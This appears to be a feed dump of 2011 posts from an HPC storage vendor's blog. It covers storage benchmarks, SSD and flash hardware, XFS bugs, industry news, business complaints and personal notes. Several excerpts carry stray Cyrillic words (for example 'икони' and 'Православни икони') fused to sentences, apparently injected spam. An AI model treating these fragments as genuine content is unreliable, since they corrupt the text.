Netapp acquired LSI’s Enginio and other products, Dell grabbed Compellent (different market), HP grabbed 3Par. https://blog.scalability.org/2011/09/seeing-the-light-lots-of-app-migration-to-accelerators-gpus-in-particular/ Tue, 06 Sep 2011 18:59:41 +0000 https://blog.scalability.org/2011/09/seeing-the-light-lots-of-app-migration-to-accelerators-gpus-in-particular/ Last week, Gaussian Inc. started publicly talking about its GPU port of its Gaussian code. This is as conservative a development company as you will find. I know many other companies with ports (I won’t violate NDAs, which I’ve signed with a number of folks who post/comment here, and who read these … feel free to post a note/link to your accelerated app). We’ve seen the early adopters come and stay. https://blog.scalability.org/2011/09/the-business-of-business/ Tue, 06 Sep 2011 16:13:36 +0000 https://blog.scalability.org/2011/09/the-business-of-business/ Just got an email from a vendor of workplace notices that reads I won’t use the exact verbiage I think is appropriate for this. So we’ve got an economy that’s struggling (well, we can euphemistically call it struggling), we have small businesses looking with great unease at future cost obligations due to new rules and regulations (one of which has been ruled unconstitutional, but the administration is pushing ahead on it anyway) … and the current administration is seeking to make sure that my companies employees know that they can organize, that I have to tell them this, and that its unfair if I don’t. https://blog.scalability.org/2011/09/science-by-ad-hominem-the-continuing-saga-of-a-debate-that-is-not-scientific-but-personal/ Tue, 06 Sep 2011 00:56:09 +0000 https://blog.scalability.org/2011/09/science-by-ad-hominem-the-continuing-saga-of-a-debate-that-is-not-scientific-but-personal/ This is sad. I am not sure precisely who is beclowning themselves, but we see something that amounts to an ad hominem attack on a pair of researchers, who had the temerity to publish something that disagreed with the orthodoxy. Along the way, they are described as “uncareful” and “serial error” creators. Their paper has been ripped to shreds in blogs, and by a particular aspect of the media, as well as by various members of the orthodoxy. https://blog.scalability.org/2011/09/badly-underwhelmed-by-120gb-intel-510-performance/ Sun, 04 Sep 2011 15:30:14 +0000 https://blog.scalability.org/2011/09/badly-underwhelmed-by-120gb-intel-510-performance/ икониThe day job uses lots of SSDs as well as disks in various of our products. We rely upon internal testing and external benchmarks (which tend to be poor at best, but a very rough zeroth order test) to select them. We had a pair of Intel 510 SSD units in for a customer, and they performed … just meh … not all that exceptional. Better than our OS drives, but not as good as the higher end SSDs. https://blog.scalability.org/2011/09/fixing-pausing-nehalemwestmere-units/ Sun, 04 Sep 2011 06:01:22 +0000 https://blog.scalability.org/2011/09/fixing-pausing-nehalemwestmere-units/ иконографияSome Nehalem and Westmere units have … er … interesting unintended features … yeah, thats the politically correct way to say it. We like Intel and their products (and we’ve liked AMD in the past and their products). But we gotta call this one. As you watch dstat output, you see these occasional … hangs … for a few seconds. As if someone is monkeying with the clock. And that is, to a degree what appears to be happening. https://blog.scalability.org/2011/08/raw-unapologetic-firepower-in-a-single-machine-a-new-record/ Wed, 31 Aug 2011 02:45:23 +0000 https://blog.scalability.org/2011/08/raw-unapologetic-firepower-in-a-single-machine-a-new-record/ This is a 5U 108TB (0.1 PB) usable high performance tightly coupled storage unit we are shipping to a customer this week. This is a spinning rust machine. We’ve been busy little beavers. Tuning, tweaking. And tuning. And tweaking. Did I mention the tuning and tweaking? Run status group 0 (all jobs): WRITE: io=196236MB, aggrb=4155.7MB/s, minb=4255.4MB/s, maxb=4255.4MB/s, mint=47222msec, maxt=47222msec Oh. My. But … it gets … better. Run status group 0 (all jobs): READ: io=196236MB, aggrb=5128. https://blog.scalability.org/2011/08/knobs/ Tue, 30 Aug 2011 13:04:32 +0000 https://blog.scalability.org/2011/08/knobs/ A knob is something you can turn, in theory, to effect a change in output condition. In my business, I have a few knobs I can turn for customers to help them. We can be quite creative in this. We are often asked to help in cases where other companies would just start blinking rapidly. I like doing this. I really do enjoy working with customers and helping them solve their hard problems. https://blog.scalability.org/2011/08/day-job-will-have-a-booth-at-sc11-woot/ Fri, 26 Aug 2011 04:21:48 +0000 https://blog.scalability.org/2011/08/day-job-will-have-a-booth-at-sc11-woot/ икони на светциWhats different about this one? Its ours, not space in someone else’s. Gives us more freedom, but also greater responsibility. One of the harder things to do is to figure out what to bring and show, and what to leave in the lab. Shipping stuff to the floor is expensive, time consuming, and a royal pain in the rear. Leaving it in the lab, and leveraging the network (not the wireless … oh god that was horrible last year) is probably a better option. https://blog.scalability.org/2011/08/day-job-adds-a-director-of-sales/ Fri, 26 Aug 2011 04:13:09 +0000 https://blog.scalability.org/2011/08/day-job-adds-a-director-of-sales/ Took us long enough, but fundamentally, you have to work on getting the right team together. Someone I’ve known and respected for quite some time became available. I’ve been saying for a while we need someone just like him. So I didn’t miss the opportunity. Looking forward to reaching more customers and partners with him on board. More later … https://blog.scalability.org/2011/08/another-day-job-milestone/ Tue, 23 Aug 2011 18:57:43 +0000 https://blog.scalability.org/2011/08/another-day-job-milestone/ As of today, we have achieved our highest revenue ever in a year as a company. And the year is only 3/4 over. We’re not done. Not by a long shot. If we shut the doors, and went on a nice 3+ month long vacation until the end of the year … we’d have a 20% growth rate over last year for revenue. As it is, the 4th quarter is usually our busiest time. https://blog.scalability.org/2011/08/is-this-really-a-good-idea/ Mon, 22 Aug 2011 05:39:47 +0000 https://blog.scalability.org/2011/08/is-this-really-a-good-idea/ ikoniLooks like HP is looking at ditching its PCs. First off, they are definitely killing off WebOS and the whole Palm business. Ok … WebOS looked interesting. Now having an Android, and an iPhone (about to be retired, which the Android is replacing), I find it hard to put down the iPhone and get excited about Android. I have a sense of … a less polished integration. Some things don’t work very well in Android. https://blog.scalability.org/2011/08/amusing-benchmarketing-without-ever-having-run-a-benchmark/ Fri, 19 Aug 2011 18:05:52 +0000 https://blog.scalability.org/2011/08/amusing-benchmarketing-without-ever-having-run-a-benchmark/ Imagine you have a product, and you really haven’t measured its performance, but you want to make performance claims. So you take an “easy” way around this. You simply add up all your bandwidth or IOP data. Yeah, thats it, you add it up. No, I’m not kidding. You do this. Is this meaningful in the HPC world? Hell no. Do people do this? Hell yes. Is it wrong? Extremely. Should you call vendors out who do this? https://blog.scalability.org/2011/08/a-cool-xfs-bug/ Fri, 19 Aug 2011 14:27:39 +0000 https://blog.scalability.org/2011/08/a-cool-xfs-bug/ No, really, bugs can be cool … Customer has a user with a proclivity towards writing large files. Sparse large files. Say a couple Petabytes or so. Single file. I kid you not. (filenames and paths changed) [root@jr4-2 ~]# ls -alF /data/brick-sdd2/dht/scratch/xyzpdq total 4652823496 d--------- 2 1232 1000 86 Jun 27 20:31 ./ drwx------ 104 1232 1000 65536 Aug 17 23:53 ../ -rw------- 1 1232 1000 21 Jun 27 09:57 Default. https://blog.scalability.org/2011/08/and-ubuntu-11-04-has-an-every-so-slightly-broken-root-on-iscsi/ Mon, 15 Aug 2011 20:08:53 +0000 https://blog.scalability.org/2011/08/and-ubuntu-11-04-has-an-every-so-slightly-broken-root-on-iscsi/ Православни икониUgh. See here. Got bit by this. BTW: The new internals of Tiburon are getting even more wild. This thing is turning into a very powerful system for booting large numbers of machines with (nearly) identical configs, very quickly (hmmm … can you say … cluster? Cloud? VMs? …. mwhahahaha!). Will be re-adapting our menu system for this, but the Web GUI portion for configuring this is definitely in the near future. https://blog.scalability.org/2011/08/been-working-on-a-gui-starting-to-hook-the-bits-together/ Sun, 14 Aug 2011 21:41:16 +0000 https://blog.scalability.org/2011/08/been-working-on-a-gui-starting-to-hook-the-bits-together/ The day job is asked for monitoring and admin GUIs for our products. I’ll be the first to admit I am a CLI person these days (having started out a CLI person, then becoming a GUI person, now back to a CLI person). I understand the desire for this, and some of the rationale behind it. So we’ve been thinking how to provide this as simply and unobtrusively as possible. And leverage/use/reuse our CLI goodness. https://blog.scalability.org/2011/08/an-interesting-perspective-on-running-and-maintaining-a-business-in-california/ Sun, 14 Aug 2011 01:57:00 +0000 https://blog.scalability.org/2011/08/an-interesting-perspective-on-running-and-maintaining-a-business-in-california/ [update: reorganized to have link up top, and commentary below this] Have a read of this blog entry. Very interesting. As a small business person, I am acutely aware of all the myriad ways that rules, regulations, taxes and fees can rise unexpectedly upon you. When taxes aren’t sane or predictable, you can suddenly get a bill for a substantial fraction of a well paid employees monthly or yearly salary. We had that experience last year with Michigan’s MBT which replaced the SBT. https://blog.scalability.org/2011/08/interesting-comment-from-an-ssd-vendor-support-person/ Fri, 12 Aug 2011 19:30:04 +0000 https://blog.scalability.org/2011/08/interesting-comment-from-an-ssd-vendor-support-person/ Color me unimpressed. You have a “disk” drive, you expect all the trappings of that “disk” drive to work. Like activity lights. So you plug this device into a backplane that lights its activity lights from the disk. And it doesn’t work. Speaking with the backplane folks, they get their signals from the disk. Speaking with the disk folks … Me: The activity light appears to be solid on all the time. https://blog.scalability.org/2011/08/very-cool-science-broad-spectrum-anti-viral/ Wed, 10 Aug 2011 23:08:42 +0000 https://blog.scalability.org/2011/08/very-cool-science-broad-spectrum-anti-viral/ I saw this initially on /., and it linked to PLoS. PLoS is a great system BTW, and I’d love to see Physics, Engineering, CS, and other things join in. arxiv.org serves a similar function (rapid publication) though it isn’t peer reviewed prior to publication, while PLoS is. Basically, this anti-viral appears to show excellent efficacy across multiple virus infections … everything from Dengue Fever to Rhinovirus (common cold). It would be wonderful if this technique would be active against retroviruses (HIV, etc. https://blog.scalability.org/2011/08/then-afterburners-kicked-in/ Wed, 10 Aug 2011 21:19:19 +0000 https://blog.scalability.org/2011/08/then-afterburners-kicked-in/ … sumthin fierce … This could be (the) fastest 4U box on the market for streaming, which doesn’t use RAM for storage. Run status group 0 (all jobs): READ: io=761904MB, aggrb=7455.4MB/s, minb=7634.3MB/s, maxb=7634.3MB/s, mint=102196msec, maxt=102196msec That streaming is more than 8x RAM size. No PCIe flash cards in the unit. None. Zero. Zilch. yeah BABY!!! Right now, running a random read of that data set. 8k random reads across the entire 700+ GB data. https://blog.scalability.org/2011/08/setting-expectations-for-ssds-versus-flash/ Wed, 10 Aug 2011 20:52:08 +0000 https://blog.scalability.org/2011/08/setting-expectations-for-ssds-versus-flash/ Nomenclature: SSD is a physical device that plugs into an electrical disk slot. Flash is a PCIe card. Both use the same underlying back end storage technology (flash chips of SLC, MLC, and related). I’ve had a while to do some testing with a large number of SSD units in a single device. I can give you a definite sense of what I’ve been observing. First: SSDs are, of course, fast for certain operations. https://blog.scalability.org/2011/08/evolution-for-microsoft-hpc/ Wed, 10 Aug 2011 06:08:28 +0000 https://blog.scalability.org/2011/08/evolution-for-microsoft-hpc/ This is old news at this time, but Microsoft has moved its HPC group into their Cloud groups. I’ve talked in the past about critical business decisions that need to be addressed over time, as a business matures, and a product line is given time to sink or swim. At the end of the day, a business has to make hard decisions about what products to introduce, which to end-of-life, which to grow independently, which to fold into other initiatives. https://blog.scalability.org/2011/08/heh-good-one/ Tue, 09 Aug 2011 03:32:29 +0000 https://blog.scalability.org/2011/08/heh-good-one/ “Scientists Trace Heat Wave To Massive Star At Center Of Solar System” See here https://blog.scalability.org/2011/08/not-surprised-ibm-pulls-plug-on-blue-waters/ Tue, 09 Aug 2011 02:33:37 +0000 https://blog.scalability.org/2011/08/not-surprised-ibm-pulls-plug-on-blue-waters/ I say I am not surprised for their reasoning … not that I had an inkling that they would do this before hand. Basically they pulled the plug because the costs were growing far faster than they planned, and they couldn’t afford to deliver the machine at the requested price. Which makes perfect sense to a business that has to consider profit and loss, but maybe not so much sense to research groups that want things. https://blog.scalability.org/2011/08/ever-have-one-of-them-moments/ Mon, 08 Aug 2011 04:43:02 +0000 https://blog.scalability.org/2011/08/ever-have-one-of-them-moments/ … where you look at a technology and think to yourself … I need this. Just had that looking over MongoDB. I’ve spent the better part of a couple of weeks working on implementing a very poor mans version of this atop SQLite for one of our tools. And along comes MongoDB, and they solve the exact problem I am looking for. So, we are going to start implementing it on our units. https://blog.scalability.org/2011/08/rethinking-raid-for-ssds/ Mon, 08 Aug 2011 04:15:43 +0000 https://blog.scalability.org/2011/08/rethinking-raid-for-ssds/ SSD units are fast, well, depending upon design, controller and other things. Sandforce units use a compression and overprovision technology to reduce write amplification. SSD units do writes, optimally, in erase block sizes. This suggests that your RAID chunk size should be a multiple of the erase block size. This is a good thing. The issue is that if you have a hardware RAID controller, you might think that the optimal way to handle this is to build a RAID5 or RAID6 atop this SSD pool. https://blog.scalability.org/2011/08/ot-and-on-a-happy-personal-note/ Mon, 08 Aug 2011 03:42:16 +0000 https://blog.scalability.org/2011/08/ot-and-on-a-happy-personal-note/ … both my daughter and I were promoted to yon-kyu (green belt) in Isshinryu. Took me longer than I liked, but the specific kata we were learning was complex. Ok, it looks simple, but … it really … really … isn’t. There is great subtlety in it. Mastering this takes a while. The moves took me about a month. The rest took me much longer. Here is one of the style’s leadership (10th Dan) showing how to do this https://blog.scalability.org/2011/08/pcie-flash-yeah-i-think-its-here-to-stay/ Mon, 08 Aug 2011 02:43:26 +0000 https://blog.scalability.org/2011/08/pcie-flash-yeah-i-think-its-here-to-stay/ I’ve had some concerns over the business model for this. The price per GB is way … way out there for SLC. The use case for SLC vs MLC (especially with eMLC coming on line) is very similar. The cost of MLC is making these units affordable, and even considerable for people. There seem to be a consumer/hobbyist version and a professional class. The former has a bad performance rap from the first set of products. https://blog.scalability.org/2011/08/many-happenings-in-hpc/ Mon, 08 Aug 2011 02:20:07 +0000 https://blog.scalability.org/2011/08/many-happenings-in-hpc/ I’ve been mostly heads down for the last month, very little time to work on posts. This is a good thing, as this has been mostly (new) business bits. We’ve got a range of new products we’ve been working on to address specific market segments, and have a number of nice new wins in a market segment we’ve been working on for a while. Working on more of course, and our core markets. https://blog.scalability.org/2011/08/ot-this-juxtaposition-on-drudge-im-sure-it-was-an-accident/ Fri, 05 Aug 2011 21:35:30 +0000 https://blog.scalability.org/2011/08/ot-this-juxtaposition-on-drudge-im-sure-it-was-an-accident/ Its a Friday, I’ve had a tough week (caught pneumonia on the way home from NY, been recovering all this time). Hopefully this isn’t the meds talking below … Every now and then, there is inadvertent and unintentional humor in news. Well, the juxtapositions are humorous, even if the events are terrible. Think …. causality … below … Obviously, violence isn’t a laughing matter. But that juxtaposition … with Jersey Shore immediately above it … doesn’t quite suggest it was … or wasn’t! https://blog.scalability.org/2011/08/and-the-day-job-turned-9/ Wed, 03 Aug 2011 03:13:31 +0000 https://blog.scalability.org/2011/08/and-the-day-job-turned-9/ … on Monday … Woo Hoo!!! What hasn’t killed us, has made us stronger … Or something like that. More correctly, the company was born 1-August-2002. Growing since inception. About to grow some more. No venture backing. During this time, we’ve worked on trying to convince people that accelerators would be important to HPC, back in 2004 time frame or so. Tried to raise capital, built business plans, got most of the details right. https://blog.scalability.org/2011/08/benchies-figuring-out-how-to-tune-this-thing/ Tue, 02 Aug 2011 02:47:41 +0000 https://blog.scalability.org/2011/08/benchies-figuring-out-how-to-tune-this-thing/ Design is good, but it looks like we are rate limited on the PCIe gen 2. 128GB read from a single name space. 8 simultaneous threads. Run status group 0 (all jobs): READ: io=126984MB, aggrb=5285.8MB/s, minb=5412.6MB/s, maxb=5412.6MB/s, mint=24024msec, maxt=24024msec Yes, that is 5.3 GB/s. Still far south of what we can be doing, but I’ve verified that we are rate limited to ~2GB/s per RAID with other tests. This looks like a card issue. https://blog.scalability.org/2011/07/giddy/ Tue, 26 Jul 2011 23:11:30 +0000 https://blog.scalability.org/2011/07/giddy/ икониBenchies soon. Real soon. Should be a screamer … if we designed/built it right. https://blog.scalability.org/2011/07/hpc-in-the-cloud-and-cluster-distributions/ Tue, 26 Jul 2011 05:15:30 +0000 https://blog.scalability.org/2011/07/hpc-in-the-cloud-and-cluster-distributions/ Many things are moving to cloud hosting … I won’t comment on being right or wrong about their moving … and HPC is one of them. This means that cluster distributions are going to follow … or could follow to some degree. Some cluster distributions focus upon packaging, some focus upon flexibility, some focus upon GUIs. All try to integrate some subset of needed tools. But all were effectively designed for a cluster computing model where some of the key/critical assumptions at the base of the distribution are simply not the case in the cloud, and due to the way they work, can’t easily be worked around. https://blog.scalability.org/2011/07/many-reasons-for-not-posting-in-the-last-two-weeks/ Mon, 25 Jul 2011 20:50:29 +0000 https://blog.scalability.org/2011/07/many-reasons-for-not-posting-in-the-last-two-weeks/ None of them bad. Too much work to get through (yes, that does mean new/existing orders). A vacation (long overdue, and yes, I was working though it as well). Back now … will be catching up soon with a set of posts in the next few days. https://blog.scalability.org/2011/07/color-me-amused/ Wed, 13 Jul 2011 21:00:32 +0000 https://blog.scalability.org/2011/07/color-me-amused/ Every now and then recruiters call me. Want to see if I want the glamour of some new position somewhere. I run a very nice little, and growing company. I own a substantial fraction of this company. Our revenues are far more than the recruiter’s company is likely willing to pay. There are too many digits in our revenues, before the decimal point, relative to any likely salary. I am working extremely hard at increasing the number of digits. https://blog.scalability.org/2011/07/storm-knocked-out-power-for-a-while/ Tue, 12 Jul 2011 23:09:03 +0000 https://blog.scalability.org/2011/07/storm-knocked-out-power-for-a-while/ Detroit Edison worked on it and got our office power up in 24 hours. Our house (where this server is located) … not so happy. Didn’t come back on until afternoon today. That was fun. [update] … and all the updating I’ve done has managed to bork the views counter. So its gonna look like we don’t get lots of traffic here. Will see if I can reconstruct this, but its a low priority item . https://blog.scalability.org/2011/07/scanning-backing-store-for-a-cluster-file-system/ Sun, 10 Jul 2011 20:03:20 +0000 https://blog.scalability.org/2011/07/scanning-backing-store-for-a-cluster-file-system/ Working on solving an issue for a customer. Wrote a backing store scanning tool for the job. Its gathering all manner of information and computing md5 sums. Right now it is single threaded, and as I am watching it run, it seems like I am using about 1/2 of the IO bandwidth (2 scans going at once on a machine). Will look at getting the scans going in parallel. Shouldn’t be hard (embarrassingly parallel problem). https://blog.scalability.org/2011/07/project-relampago-coming-to-siclusters-jackrabbits-and-deltavs-near-you/ Sun, 10 Jul 2011 05:03:56 +0000 https://blog.scalability.org/2011/07/project-relampago-coming-to-siclusters-jackrabbits-and-deltavs-near-you/ We’ve been working on some things, quietly, for a while. Almost … almost ready to talk about this. Should have something to show at SC11 this year certainly. Working on tuning. Maybe a character flaw on my part, but I am never happy with performance. More soon. I promise … (and yeah, been insanely busy, again). https://blog.scalability.org/2011/07/note-to-self-use-the-sparse-switch-when-moving-data-around-with-tar/ Wed, 06 Jul 2011 02:38:47 +0000 https://blog.scalability.org/2011/07/note-to-self-use-the-sparse-switch-when-moving-data-around-with-tar/ Using a tar pair to move data between two systems, over an NFS link. This is faster than over ssh (ssh isn’t a fast transport layer). Some user wrote a sparse file out. An 11PB sparse file. Which the tar happily … happily I tell you !!! was trying to copy, in its entirety, over to the backup unit. Happily. Took me a quick look to see what was going on. https://blog.scalability.org/2011/06/transformers-shot-in-michigan/ Tue, 28 Jun 2011 16:15:46 +0000 https://blog.scalability.org/2011/06/transformers-shot-in-michigan/ This was nice. The original movie in the series was shot downtown Detroit. Or at least the scenes towards the end (when they are duking it out in the city). It was funny to see the old railroad terminal building being used as a chase scene. FWIW, that building would make one helluva nice data center. Just needs to be cleaned up, with lots of AC/power added. Right next to a rail-road right of way. https://blog.scalability.org/2011/06/you-win-some-and-you-lose-some/ Mon, 27 Jun 2011 19:08:08 +0000 https://blog.scalability.org/2011/06/you-win-some-and-you-lose-some/ Just found out the day job lost a major storage upgrade to a competitor. Read over the evaluations, and we had some questions, sent them off to the purchasing folks. Its always annoying to lose. But from losing you can gain knowledge of why you lost and hone your offerings or your bidding … well … most of the time you can. Sometimes, the process is engineered for a particular outcome, due to an effective manipulation of rankings. https://blog.scalability.org/2011/06/updated-deltav-benchmarks/ Tue, 21 Jun 2011 15:35:43 +0000 https://blog.scalability.org/2011/06/updated-deltav-benchmarks/ Somewhat better tuning on this unit now. This is getting … interesting. Very interesting. As a reminder, the day job’s lower cost storage target, the DeltaV is designed specifically to be a lower end machine. It is fast, and as we saw on the last set of numbers, it is actually faster than competitors hardware RAID. DeltaV does the RAID bits in software. So this is another (identical) unit to the one we tested before. https://blog.scalability.org/2011/06/there-is-a-clear-and-present-need-for-meaningful-metrics-for-hpc-and-storage/ Tue, 21 Jun 2011 14:52:05 +0000 https://blog.scalability.org/2011/06/there-is-a-clear-and-present-need-for-meaningful-metrics-for-hpc-and-storage/ As the discussion of the amazing performance of the K machine continues, one needs to ask how well correlated the numbers are against end user realizable and likely performance. That is, how useful is top500 as an actual predictor of system performance for a particular task? Same question of Graph500, SPEC*, etc. ? How useful is Green500 at predicting power utilization and likely throughput of a specific design? Basically, I am not trying to minimize the efforts put into these. https://blog.scalability.org/2011/06/ot-fun-week-ahead/ Mon, 20 Jun 2011 18:40:32 +0000 https://blog.scalability.org/2011/06/ot-fun-week-ahead/ This is a personal bit. I am going up for belt promotion in Karate this Thursday. Huge risk saying something in advance in case I don’t make it. I am not worried about most of it. The fighting portion, yeah, a bit. I’m fine in sparring bouts, but this promises to be at least 7 fresh opponents, one after the other, with no rest for me. 2 minutes each opponent, and they run them from low to higher rank (the opponents get tougher at the end). https://blog.scalability.org/2011/06/k-is-atop-the-top500-what-does-this-mean-to-us/ Mon, 20 Jun 2011 18:02:33 +0000 https://blog.scalability.org/2011/06/k-is-atop-the-top500-what-does-this-mean-to-us/ Not much. No, I am not trying to be a downer. The relation of the top500 top-o-the-heap to mere mortals with hard problems to solve isn’t very strong. Actually its quite weak. There is only one K machine. Its at RIKEN in Japan. There’s only one Jaguar, and only one Tihane machine. All are, to some degree or the other, unique in some aspects. What matters to most people is “what can it do for me”? https://blog.scalability.org/2011/06/updated-deltav-in-the-lab/ Wed, 15 Jun 2011 20:17:43 +0000 https://blog.scalability.org/2011/06/updated-deltav-in-the-lab/ Should be a pretty good performance bump for the unit. Processor and memory bump. Newer backplane. Some other bits. Will update soon. Really looking forward to the benchies :) [Update 1] Very encouraging sign: RAID build is occurring at about 2x the rate of the previous generation. Should be done with 48TB RAID build in about 7 more hours. The comparison to the hardware accelerated RAID should be made as well. https://blog.scalability.org/2011/06/one-of-the-best-compilers-out-there-goes-open-source/ Mon, 13 Jun 2011 17:04:33 +0000 https://blog.scalability.org/2011/06/one-of-the-best-compilers-out-there-goes-open-source/ Pathscale makes some of the best C/C++/Fortran compilers on the market. And now, they are open source. Grab the bits while they are hot! https://blog.scalability.org/2011/06/shakes-head/ Fri, 10 Jun 2011 17:26:29 +0000 https://blog.scalability.org/2011/06/shakes-head/ Them: Here is our parts list. We found it by going to these web sites (see long list) finding the lowest cost among them, and then adding it in to the spec. Me: Uh huh (noting the several conflicting and wrong elements). So what is it you are trying to do … Them: Never mind that, this is our new machine, and it will do X … [n.b. X is some magical realization of performance at the 99th percentile of the systems capability … only would hit that if everything, and I mean EVERYTHING, was perfect. https://blog.scalability.org/2011/06/fusion-io-ipo-tomorrow-is-the-market-for-pcie-flash-strong-enough-to-support-1-or-more-companies/ Wed, 08 Jun 2011 16:58:00 +0000 https://blog.scalability.org/2011/06/fusion-io-ipo-tomorrow-is-the-market-for-pcie-flash-strong-enough-to-support-1-or-more-companies/ FusionIO goes public tomorrow. If you are an early employee, chances are, you are going to be a millionaire by the end of the day, at least on paper. The author of the great “fio” tool works there, and I hope this does work out for him and the rest of them well. But … my question is a longer term one. Does the market … or will the market … support a higher cost PCIe channel flash as opposed to lower cost SSD based units? https://blog.scalability.org/2011/06/how-to-channel-bond-in-linux/ Tue, 07 Jun 2011 21:36:26 +0000 https://blog.scalability.org/2011/06/how-to-channel-bond-in-linux/ Partner wants a 4 way bond on their unit. No problem. [root@jr4-1 ~]# /opt/scalable/sbin/mkchbond.pl --bond=bond0 --eth=eth0,eth1,eth2,eth3 --ip=10.100.243.80 --netmask=255.255.0.0 --mode=0 --write mkchbond.pl: v0.9 Create channel bonds easily by Joe Landman (http://scalableinformatics.com) This software is Copyright (c) 2005-2007 by Scalable Informatics and licensed under GPL v2.0 only. You may freely distribute this software under the terms and conditions of the GPL 2.0 license. You may not alter, remove, or prevent printing of the copyright notice and information. https://blog.scalability.org/2011/06/disappointed-but-i-guess-not-surprised/ Mon, 06 Jun 2011 20:16:10 +0000 https://blog.scalability.org/2011/06/disappointed-but-i-guess-not-surprised/ Several years ago, we had an academic customer literally steal our time, our effort, our design, etc. for their system. The signals were there, and we didn’t pay attention to them. Something like that happened again, though this time we recognized it. Customer still is operating off the assumption that they got something for nothing, but … well … when they put their system together, discover that it doesn’t work, I expect a few probing emails. https://blog.scalability.org/2011/06/why-do-companies-erect-unneeded-barriers/ Fri, 03 Jun 2011 21:25:44 +0000 https://blog.scalability.org/2011/06/why-do-companies-erect-unneeded-barriers/ This is about the business side, and AMEX in particular. A customer bought something. Paid for it on AMEX. We use Authorize.Net, as do many people. It handles the card processing for us. Makes our life easy. But it doesn’t do AMEX directly, AMEX does AMEX. And they don’t play well with Authorize.Net. So now we are in the position of having to decline this AMEX transaction, and remove AMEX from our accepted card list, because AMEX is more interested in wasting my time and erecting barriers to doing business, than actually doing business. https://blog.scalability.org/2011/06/what-are-xfss-real-limits/ Fri, 03 Jun 2011 05:40:14 +0000 https://blog.scalability.org/2011/06/what-are-xfss-real-limits/ Over at Enterprise Storage Forum, Henry Newman and Jeff Layton started a conversation that needs to be shared. This is a very good article. In it, they reproduced a table comparing file systems coming from this page at Redhat. This is really showing a comparison of what the “limits” are in a theoretical or practical sense between the various versions of RHEL platforms. The file system table compares what you can do in each version. https://blog.scalability.org/2011/05/working-on-a-few-new-things/ Fri, 27 May 2011 05:19:30 +0000 https://blog.scalability.org/2011/05/working-on-a-few-new-things/ ok, some of these are riffs on our older things, but they are very exciting to everyone we speak with. Need a chassis mod for one of them. The other is … well … an extension of an earlier idea. Been doing some testing with it, and its working out far better than I had thought. Sorry for being so vague. I don’t want to let these cats out of the bag … yet икони https://blog.scalability.org/2011/05/ot-been-very-busy/ Wed, 25 May 2011 18:03:37 +0000 https://blog.scalability.org/2011/05/ot-been-very-busy/ Good version of busy; lots of quotes, orders, builds, …. A new market has emerged for us, one I wasn’t sure how to break into, that looks like it is going to do good things for us. Entrenched expensive and slow competitor, everyone looking for better systems. Should be interesting coupla months. I hope I get time for a vacation in there somewhere. https://blog.scalability.org/2011/05/ot-just-played-with-google-docs/ Mon, 23 May 2011 05:41:43 +0000 https://blog.scalability.org/2011/05/ot-just-played-with-google-docs/ Wow … uploaded a presentation I was working on for a customer and it worked well. Rendered everything correctly (OpenOffice doesn’t always do that). Anyone else using Google Docs on a more or less professional/constant basis? Any outage issues? Compatibility issues? I like OpenOffice, but its occasional glitches and … er … interpretive re-renderings of Powerpoints are … er … amusing. The downside to Google docs are storage offsite, privacy/security issues, and access in the event of a network outage. https://blog.scalability.org/2011/05/ot-heh-nice-to-see-people-resuming-a-healthy-skepticism/ Tue, 17 May 2011 21:21:37 +0000 https://blog.scalability.org/2011/05/ot-heh-nice-to-see-people-resuming-a-healthy-skepticism/ See here . money quote My gosh … a follow the money mystery? Who woulda thunk it? At any rate, its good to see people resume the healthy skepticism that is needed for real scientific inquiry and advancement. Science is never settled, and anyone telling you otherwise is trying to sell you something. Sure enough, some of those doing the selling have a strong economic incentive for doing so. Go figure. https://blog.scalability.org/2011/05/and-sandisk-swallows-pliant/ Tue, 17 May 2011 05:40:37 +0000 https://blog.scalability.org/2011/05/and-sandisk-swallows-pliant/ This is interesting. SANdisk now has an enterprise play. Flash is getting more interesting. Basically creating the same sort of sea change in storage that GPUs created in computing. https://blog.scalability.org/2011/05/still-struggling-with-half-open-and-otherwise-broken-drivers/ Mon, 16 May 2011 20:54:26 +0000 https://blog.scalability.org/2011/05/still-struggling-with-half-open-and-otherwise-broken-drivers/ We have a nice pair of Qlogic 7220 DDR HCAs in house. Direct connecting a pair of machines for a simple point to point bit. Using our updated 2.6.32.39.scalable kernel. Want to set up SRP target. So we have to get OFED compiled. Need 1.5.3+ due to their … er … issues tracking kernels. Basically the OFED build process is an abuse … a very severe one … of the RPM process. https://blog.scalability.org/2011/05/updated-jackrabbit-jr5-results/ Mon, 09 May 2011 02:10:40 +0000 https://blog.scalability.org/2011/05/updated-jackrabbit-jr5-results/ Lab machine, updated RAID system (to our current shipping specs). We’ve got a 10GbE and an IB DDR card in there for some end user lab tests over the next 2 weeks. We just finished rebuilding the RAID unit, and I wanted a baseline measurement. So a fast write then read (uncached of course). [root@jr5-lab fio]# fio sw.fio ... Run status group 0 (all jobs): WRITE: io=195864MB, aggrb=3789.1MB/s, minb=3880.1MB/s, maxb=3880.1MB/s, mint=51680msec, maxt=51680msec Thats the write. https://blog.scalability.org/2011/05/it-storage/ Fri, 06 May 2011 04:27:40 +0000 https://blog.scalability.org/2011/05/it-storage/ They see a shiny new storage chassis with 6G backplane. They fill it with “fast” drives, and build “raids” using integrated RAID platforms. They insist it should be fast, showing calculations that suggest that it should sustain near theoretical max performance on IO. Yet, the reality is that its 1/10th to 1/20th the theoretical max performance. Whats going on? In the past, I’ve railed against “IT clusters” … basically clusters designed, built, and operated by IT staff unfamiliar with how HPC systems worked. https://blog.scalability.org/2011/05/unbelievable/ Fri, 06 May 2011 04:08:48 +0000 https://blog.scalability.org/2011/05/unbelievable/ A system designed to fail often will. Seen this a few times this past week. In one case, someone agrees that we we do and our machines have value, but want our stuff without paying us for our stuff. They don’t want to buy them. They just want us to tell them how to build them. They don’t want to buy our stuff, even though we’ve demonstrated that our systems solve their problem. https://blog.scalability.org/2011/04/interesting-acquisition-stec-takes-kq-infotech-assets/ Wed, 27 Apr 2011 02:20:25 +0000 https://blog.scalability.org/2011/04/interesting-acquisition-stec-takes-kq-infotech-assets/ I wasn’t expecting this one. KQ Infotech, a smaller development house probably best known for their porting of ZFS to Linux, and providing the tools required for end users to build their own ZFS on their own machines (thus getting around some of the major hurdles with GPL and CDDL licenses). I was not expecting this, though to be honest, we’ve seen some pretty interesting M&A; bits over the last 2-4 weeks. https://blog.scalability.org/2011/04/ok-this-is-just-showing-off-now/ Thu, 21 Apr 2011 20:56:48 +0000 https://blog.scalability.org/2011/04/ok-this-is-just-showing-off-now/ One of the two units we are going to ship to a customer very soon. Running the 19.2TB write. Fill up 1/2 the system. With a single file. Of 19.2TB size. In less than 2 hours. Don’t try this on ext*. 